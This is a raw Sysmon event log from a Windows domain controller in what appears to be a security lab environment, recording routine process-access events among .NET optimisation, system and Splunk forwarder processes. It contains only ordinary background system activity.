14:45:21.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E58BCA32BBDC7CEFE800EF7B1F5789B,SHA256=0B6AE9660E88913CD853131993BF158451526B1CB2E63737866F51E467DA99B5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.805{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-720A-00000000F001}3152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.805{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-720A-00000000F001}3152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.755{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-710A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.745{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-710A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.745{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-710A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.695{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-700A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.675{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-700A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.675{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-700A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.625{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-6F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.615{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.615{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-6F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.605{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E5CFC0FB17B3E285677C277E1D69482A,SHA256=18D344F92350D161712926EA662E07912239C0D97E50716F19507C8DFA7F6FA9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.534{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-6E0A-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.524{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6E0A-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.524{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-6E0A-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000045433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.530{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59268-false10.0.1.12-8000- 10341000x800000000000000045432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.423{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-6D0A-00000000F001}7036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.404{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6D0A-00000000F001}7036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.404{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-6D0A-00000000F001}7036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.404{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.404{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.404{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.394{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.394{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F82-613B-6B0A-00000000F001}6224C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.394{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6B0A-00000000F001}6224C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.394{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F82-613B-6B0A-00000000F001}6224C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program 